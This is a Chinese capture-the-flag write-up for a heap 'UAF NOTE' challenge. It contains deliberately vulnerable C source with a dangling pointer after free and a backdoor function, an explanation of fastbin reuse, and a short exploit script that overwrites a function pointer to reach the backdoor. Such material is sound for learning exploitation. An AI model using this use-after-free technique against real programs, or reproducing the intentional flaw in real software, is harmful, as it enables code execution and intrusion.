1.源文件,忘记是哪里的题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
struct note *notelist[10]; int count = 0;
struct note{ void (*print_note)(); char *content; };
void print_note_content(struct note *ptr_n) { puts(ptr_n -> content); }
void add_note(){ int i; char buf[8]; int size; if (count > 10) { puts("Full"); return; } for (i = 0; i < 10; i++){ if (!notelist[i]) { notelist[i] = (struct note *)malloc(sizeof(struct note)); if (!notelist[i]) { puts("Alloca Error"); exit(-1); } notelist[i] -> print_note = print_note_content; printf("Note size :"); read(0, buf, 8); size = atoi(buf); notelist[i] -> content = (char *)malloc(size); if (!notelist[i] -> content) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i] -> content, size); puts("Success !"); count++; break; } } }
void del_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } }
void print_note() { char buf[4]; int idx; printf("Index :"); read(0, buf, 4); idx = atoi(buf); if (idx < 0 || idx >= count) { puts("Out of bound!"); _exit(0); } if (notelist[idx]) { notelist[idx] -> print_note(notelist[idx]); } }
void magic() { system("cat ./flag"); }
void menu() { puts("----------------------"); puts(" UAF NOTE "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); printf("Your choice :"); };
int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); char buf[4]; while (1) { menu(); read(0, buf, 4); switch(atoi(buf)) { case 1: add_note(); break; case 2: del_note(); break; case 3: print_note(); break; case 4: exit(0); break; default: puts("Invalid choice"); break; } } return 0; }
|
编译一下:
1 2 3
| #注释头
gcc note.c -no-pie -o note
|
2.打开IDA,查漏洞,del-note函数中存在UAF漏洞,并且还有后门:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #注释头
if ( notelist[idx] ) { free(notelist[idx]->content); free(notelist[idx]); puts("Success"); } //这里经过IDA人工数据修改过,刚打开不会是这样的。 ---------------------------------------------------- int magic() { return system("cat ./flag"); }
|
可以看到在Free之后没有将指针置空,导致Free之后,如果通过程序中的print选项来打印依然可以调用被该指针对应的函数,所以这里存在UAF。
3.这一题中有一个结构体,定义如下:
其中malloc顺序是:
(1)malloc控制数据部分chunk_control,固定大小为0x10。
(2)将content,也就是真正数据部分malloc出来,chunk_data,这里可以设置size。
free顺序是:
(1)先free掉data部分,chunk_data。
(2)再free控制数据部分的struct,chunk_control。
4.思考攻击思路,既然有UAF漏洞,那么我们可以想办法Free几个chunk,然后利用fastbins先进后出的原则,将某个控制数据部分的chunk_control申请回来变成我们可以操作的chunk_data,进行fastbins attack。之后修改其中的打印函数地址,改为后门函数地址,那么使用程序中的print就可以跳转后门函数获取flag。
5.先申请两个结构,data部分至少为0x19,使得chunk_data不落入到0x20的fastbins中。之后释放掉这两个结构,然后fastbins中的结构如下:
1 2 3 4
| #注释头
fastbinsY[0]:0x10:chunk_control1->chunk_control0 fastbinsY[x]:0xxx:chunk_data1->chunk_data0
|
6.然后申请一个0x10大小的结构,编号A,该结构中的对应就变成这样:
1 2 3 4
| #注释头
chunk_controlA=chunk_control1 chunk_dataA=chunk_control0
|
7.现在可以修改chunk_dataA,将其内容改为后门函数地址,然后使用程序中的print,输入索引为0,然后就会运行chunk_control0中的打印函数,也就相当于运行chunk_dataA中的后门函数。
简单exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #注释头
add(0x20,'aaaaaaaa') #chunk_control0+chunk_data0 add(0x20,'AAAAAAAA') #chunk_control1+chunk_data1 #这里的0x20可以随便改,只要大于等于0x19即可,两个0x20也可以不一样。
free(0) free(1) #free顺序:chunk_data0,chunk_control0,chunk_data1,chunk_control1
backdoor = p64(elf.sym['magic']) add(0x10,backdoor) #malloc顺序:chunk_controlA=chunk_control1,chunk_dataA=chunk_control0
show(0) print(p.recv()) #获取flag
|